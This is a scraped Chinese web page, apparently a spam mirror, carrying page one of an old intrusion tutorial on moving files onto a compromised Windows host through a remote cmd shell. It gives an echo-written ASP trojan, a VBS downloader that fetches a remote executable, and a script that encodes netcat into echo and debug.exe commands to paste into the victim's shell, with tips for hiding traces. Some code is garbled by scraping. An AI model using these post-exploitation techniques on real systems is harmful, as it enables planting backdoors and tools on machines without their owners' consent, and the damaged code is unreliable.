濮阳杆衣贸易有限公司

主頁(yè) > 知識(shí)庫(kù) > Do All in Cmd Shell一切在命令行下完成第1/6頁(yè)

Do All in Cmd Shell一切在命令行下完成第1/6頁(yè)

熱門標(biāo)簽:好的人工智能電話機(jī)器人 廣州云外呼系統(tǒng)公司 岳陽(yáng)縣地圖標(biāo)注app 地圖標(biāo)注位置有用嗎 地圖標(biāo)注銷售數(shù)據(jù) 谷歌地圖標(biāo)注時(shí)間 云南旅游地圖標(biāo)注app 百應(yīng)ai電話機(jī)器人銷售怎么樣 中國(guó)地圖標(biāo)注省份顏色
文件傳輸
對(duì)于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對(duì)ipc$的保護(hù),通過ipc$及默認(rèn)共享上傳文件的手段基本無(wú)效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:

1,用Echo命令寫ASP木馬。
前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個(gè)小巧的。
直接給出echo版:

@echo ^ >up.asp

注意,只有一行,中間沒有回車符。
生成的up.asp不能用瀏覽器訪問,只能用下面這個(gè)腳本:

with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs

舉例——下載ps.exe并保存到c:\path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意,這是在遠(yuǎn)程shell中執(zhí)行的。

4,Echo經(jīng)過編碼的任何文件,再用腳本+debug還原。
前面兩個(gè)辦法都不能保證穿過防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒有解壓工具,還是沒轍。那么只有出"殺手锏"了!

echo命令加重定向x作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位x作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無(wú)法構(gòu)造出相應(yīng)的數(shù)據(jù)類型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過來(lái)不行。我花了兩天時(shí)間,還是沒能解決這個(gè)問題。如果有誰(shuí)能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請(qǐng)賜教。)

無(wú)奈只有請(qǐng)debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbscscript //nologo debug.vbs|debug.exe>nulren debug.tmp """fn"""del debug.vbs"
end with

將其保存為echo.vbs。假設(shè)要上傳nc.exe,那么在本地命令行輸入命令:

cscript echo.vbs nc.exe

也可以直接把要傳輸?shù)奈募膱D標(biāo)拖放到腳本文件的圖標(biāo)上。
稍等一會(huì)兒,在當(dāng)前目錄下將生成一個(gè)nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內(nèi)容:

@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbscscript //nologo debug.vbs|debug.exe>nulren debug.tmp "NC.EXE"del debug.vbs

全選 -》 復(fù)制 -》 切換到遠(yuǎn)程命令行窗口 -》 粘貼。
如果網(wǎng)速不是很慢的話,整個(gè)上傳過程大約需要20秒。

幾點(diǎn)說明:
1,大的文件傳輸不穩(wěn)定,可能會(huì)使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
2,在傳輸大文件前,可以先傳個(gè)小的文件作為"熱身",讓16位虛擬機(jī)ntvdm.exe駐留后臺(tái)。所有文件傳完后,為隱蔽起見,應(yīng)該把ntvdm進(jìn)程殺掉。
3,某些cmd shell每個(gè)命令都需要附加兩個(gè)回車,那nc.exe.bat就不能直接用了。
4,單個(gè)命令的長(zhǎng)度是有限的,所以不能只用一個(gè)echo完成全部任務(wù)。而且,對(duì)于nc提供的cmd shell,稍長(zhǎng)一些的命令竟然會(huì)使shell自動(dòng)退出(溢出了?)。你可以修改"i mod 128=0"語(yǔ)句中的128以調(diào)整每個(gè)echo命令的長(zhǎng)度。每次echo的字符為這個(gè)數(shù)乘以2。
5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因?yàn)閴嚎s了數(shù)據(jù))。如果有時(shí)間,我會(huì)寫一個(gè)更完善的腳本,加強(qiáng)數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗(yàn)功能。

能上傳文件當(dāng)然一切都好辦了,但很多x作用Windows自帶的工具更方便。在你到處尋找需要的工具時(shí),不要忘了Windows本身。
123456下一頁(yè)閱讀全文
您可能感興趣的文章:
  • 在Shell命令行處理JSON數(shù)據(jù)的方法
  • shell學(xué)習(xí)教程獲取命令行參數(shù)示例
  • 神奇的shell命令行輸入與輸出功能介紹
  • Linux命令行和shell腳本編程寶典 Richard Blum
  • PHP 命令行工具 shell_exec, exec, passthru, system詳細(xì)使用介紹
  • 命令行下一種新的添加帳號(hào)的方法(Shell.Users)
  • 利用WScript.Shell對(duì)象隱藏cmd命令行運(yùn)行框的實(shí)現(xiàn)代碼
  • 關(guān)閉網(wǎng)站的wscript.shell命令行執(zhí)行
  • 利用shell編程實(shí)現(xiàn)DOS風(fēng)格的Linux命令行
  • shell獲取命令行參數(shù)示例分享

標(biāo)簽:三沙 鄭州 三明 天門 東營(yíng) 周口 南京 宜昌

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Do All in Cmd Shell一切在命令行下完成第1/6頁(yè)》,本文關(guān)鍵詞  All,Cmd,Shell,一切,在,命令行,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《Do All in Cmd Shell一切在命令行下完成第1/6頁(yè)》相關(guān)的同類信息!
  • 本頁(yè)收集關(guān)于Do All in Cmd Shell一切在命令行下完成第1/6頁(yè)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    罗山县| 泗水县| 原阳县| 牙克石市| 繁昌县| 白城市| 广宗县| 岢岚县| 新竹县| 内江市| 湘西| 呈贡县| 勃利县| 江安县| 长海县| 阳原县| 遂川县| 平塘县| 商洛市| 甘南县| 小金县| 霍林郭勒市| 屯昌县| 汾西县| 织金县| 淮南市| 盘山县| 仁怀市| 阳春市| 兰溪市| 明水县| 新沂市| 桦川县| 个旧市| 宁城县| 循化| 渑池县| 杭州市| 临颍县| 平武县| 大理市|